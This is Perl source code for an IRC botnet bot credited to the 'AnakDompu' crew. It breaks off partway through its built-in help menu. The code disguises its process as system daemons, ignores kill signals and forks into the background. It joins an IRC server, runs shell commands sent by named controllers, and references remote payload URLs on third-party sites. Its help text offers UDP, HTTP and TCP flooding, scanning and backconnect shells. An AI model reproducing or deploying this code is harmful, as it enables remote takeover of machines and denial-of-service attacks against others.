#!/usr/bin/perl # ######################################################## # Ketika Rasa Tak Dapat Di Ungkap Dengan Kata # Anak # _____ # ( ___ ) _____ __ ___ ____ _ _ # | | \ \( _ )( \/ )( _ )( ) ( ) # _\\\\|_|_ _|_)_(_)_||_\__/|_||_|)_||_|_|_|_\ AnakDompu # ////| | | ) | | || |\/ | || ___)| | | | / crew # | |__/ /| (_) || | | || | | |_| | # (_____) (_____)(_) (_)(_) (_____) # # AnakDompu [on] Dalnet © 2008 # # ######################################################## use IO::Socket::INET; use HTTP::Request; use LWP::UserAgent; ################################################## # Ketika Rasa Tak Dapat Di Ungkap Dengan Kata™ # # www.AnakDompu.by.ru # # Created By Shinchi # # #AnakDompu # # irc.dal.net # ################################################## my @ps = ("/usr/local/apache/bin/httpd -DSSL","/sbin/syslogd","[eth0]","/sbin/klogd -c 1 -x -x","/usr/sbin/acpid","/usr/sbin/cron","[bash]"); my $processo = $ps[rand scalar @ps]; my $linas_max='10'; my $sleep='3'; my $cmd="http://www.voetbalkeurmerk.nl/images/adu.png??"; my $id="http://www.gasthof-neumeister.com/images/zoom/special.txt???"; my $spread="http://www.gasthof-neumeister.com/images/zoom/alls.txt???"; my $perawan="http://www.gasthof-neumeister.com/images/zoom/alls.txt???"; my $idku="http://www.gasthof-neumeister.com/images/zoom/pbots.txt???"; my @adms=("Shinchi","FuRkaN"); my @canais=("#·"); ################################################## # Ketika Rasa Tak Dapat Di Ungkap Dengan Kata™ # # www.AnakDompu.by.ru # # Created By Shinchi # # #AnakDompu # # irc.dal.net # ################################################## my @nickname = ("AkeZuKa", "AbankSayang", "Sampula", "FuRkaN", "AnakDompu", "SaMaDa", "SaMPeLa", "ShuZuKa", "TalamPa", "Tambora", "Henca", "Hencarasa", "HencaSpy", "SamPuLa"); my @rname = ("Ketika Rasa Tak Dapat Di UngkaP", "PowereD By AnakDompu", "SeRinG PuTus Cinta", "Aku Mudah Jatuh Cinta", "ModeL Bug1L AnakDompu", "Jpop And JrocK Lyric", "Ketika Rasa Tak Dapat Diungkap Bro", "Percuma Kita Bersama DinDa", "Shinchi Memang cakep", "Suka Nonton Movie hentai la", "Lihat Cewek2 Pake tanktop", "Owned By AnakDompu"); my $nick = $nickname[rand scalar @nickname]; my $ircname = $nickname[rand scalar @nickname]; my $realname = $rname[rand scalar @rname]; $servidor='irc.indoirc.net' unless $servidor; my $porta='6667'; $SIG{'INT'} = 'IGNORE'; $SIG{'HUP'} = 'IGNORE'; $SIG{'TERM'} = 'IGNORE'; $SIG{'CHLD'} = 'IGNORE'; $SIG{'PS'} = 'IGNORE'; use IO::Socket; use Socket; use IO::Select; chdir("/"); ################################################## # Ketika Rasa Tak Dapat Di Ungkap Dengan Kata™ # # www.AnakDompu.by.ru # # Created By Shinchi # # #AnakDompu # # irc.dal.net # ################################################## #Connect $servidor="$ARGV[0]" if $ARGV[0]; $0="$processo"."\0"x16;; my $pid=fork; exit if $pid; die "Masalah fork: $!" unless defined($pid); our %irc_servers; our %DCC; my $dcc_sel = new IO::Select->new(); $sel_cliente = IO::Select->new(); sub sendraw { if ($#_ == '1') { my $socket = $_[0]; print $socket "$_[1]\n"; } else { print $IRC_cur_socket "$_[0]\n"; } } sub conectar { my $meunick = $_[0]; my $servidor_con = $_[1]; my $porta_con = $_[2]; my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$servidor_con", PeerPort=>$porta_con) or return(1); if (defined($IRC_socket)) { $IRC_cur_socket = $IRC_socket; $IRC_socket->autoflush(1); $sel_cliente->add($IRC_socket); $irc_servers{$IRC_cur_socket}{'host'} = "$servidor_con"; $irc_servers{$IRC_cur_socket}{'porta'} = "$porta_con"; $irc_servers{$IRC_cur_socket}{'nick'} = $meunick; $irc_servers{$IRC_cur_socket}{'meuip'} = $IRC_socket->sockhost; nick("$meunick"); sendraw("USER $ircname ".$IRC_socket->sockhost." $servidor_con :$realname"); sleep 1; } } my $line_temp; while( 1 ) { while (!(keys(%irc_servers))) { conectar("$nick", "$servidor", "$porta"); } delete($irc_servers{''}) if (defined($irc_servers{''})); my @ready = $sel_cliente->can_read(0); next unless(@ready); foreach $fh (@ready) { $IRC_cur_socket = $fh; $meunick = $irc_servers{$IRC_cur_socket}{'nick'}; $nread = sysread($fh, $msg, 4096); if ($nread == 0) { $sel_cliente->remove($fh); $fh->close; delete($irc_servers{$fh}); } @lines = split (/\n/, $msg); for(my $c=0; $c<= $#lines; $c++) { $line = $lines[$c]; $line=$line_temp.$line if ($line_temp); $line_temp=''; $line =~ s/\r$//; unless ($c == $#lines) { parse("$line"); } else { if ($#lines == 0) { parse("$line"); } elsif ($lines[$c] =~ /\r$/) { parse("$line"); } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) { parse("$line"); } else { $line_temp = $line; } } } } } sub parse { my $servarg = shift; if ($servarg =~ /^PING \:(.*)/) { sendraw("PONG :$1"); } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) { my $pn=$1; my $hostmask= $3; my $onde = $4; my $args = $5; if ($args =~ /^\001VERSION\001$/) { notice("$pn", "\001VERSION mIRC v6.17 Khaled Mardam-Bey\001"); } if (grep {$_ =~ /^\Q$pn\E$/i } @adms ) { if ($onde eq "$meunick"){ shell("$pn", "$args"); } #End of Connect ################################################## # Ketika Rasa Tak Dapat Di Ungkap Dengan Kata™ # # www.AnakDompu.by.ru # # Created By Shinchi # # #AnakDompu # # irc.dal.net # ################################################## # PREFIX # ###################### if ($args =~ /^(\Q$meunick\E|\!bro)\s+(.*)/ ) { my $natrix = $1; my $arg = $2; if ($arg =~ /^\!(.*)/) { ircase("$pn","$onde","$1") unless ($natrix eq "!bro" and $arg =~ /^\!nick/); } elsif ($arg =~ /^\@(.*)/) { $ondep = $onde; $ondep = $pn if $onde eq $meunick; bfunc("$ondep","$1"); } else { shell("$onde", "$arg"); } } } } ###################### # End of PREFIX # ###################### elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) { if (lc($1) eq lc($meunick)) { $meunick=$4; $irc_servers{$IRC_cur_socket}{'nick'} = $meunick; } } elsif ($servarg =~ m/^\:(.+?)\s+433/i) { nick("$meunick".int rand(999999)); } elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) { $meunick = $2; $irc_servers{$IRC_cur_socket}{'nick'} = $meunick; $irc_servers{$IRC_cur_socket}{'nome'} = "$1"; foreach my $canal (@canais) { sendraw("JOIN $canal ddosit"); } } } sub bfunc { my $printl = $_[0]; my $funcarg = $_[1]; if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { ###################### # Help # ###################### if ($funcarg =~ /^help/) { sendraw($IRC_cur_socket, "PRIVMSG $printl :11,10[1BaNtUaN]8,1 Select the function you want help for"); sendraw($IRC_cur_socket, "PRIVMSG $printl :11,10[1BaNtUaN]8,1 !bro 13@4ddos"); sendraw($IRC_cur_socket, "PRIVMSG $printl :11,10[1BaNtUaN]8,1 !bro 13@4scan"); sendraw($IRC_cur_socket, "PRIVMSG $printl :11,10[1BaNtUaN]8,1 !bro 13@4backconnect"); sendraw($IRC_cur_socket, "PRIVMSG $printl :11,10[1BaNtUaN]8,1 !bro 13@4shell"); sendraw($IRC_cur_socket, "PRIVMSG $printl :11,10[1BaNtUaN]8,1 !bro 13@4portscanner"); sendraw($IRC_cur_socket, "PRIVMSG $printl :11,10[1BaNtUaN]8,1 Or if you want too know all the commands type:"); sendraw($IRC_cur_socket, "PRIVMSG $printl :11,10[1BaNtUaN]8,1 !bro 13@4commands"); } if ($funcarg =~ /^ddos/) { sendraw($IRC_cur_socket, "PRIVMSG $printl :11,10[1BaNtUaN]8,1 There are 3 DDossers in this bot"); sendraw($IRC_cur_socket, "PRIVMSG $printl :11,10[1BaNtUaN]8,1 UDPFlood, HTTPFlood and TCPFlood"); sendraw($IRC_cur_socket, "PRIVMSG $printl :11,10[1BaNtUaN]8,1 !bro 13@4udpflood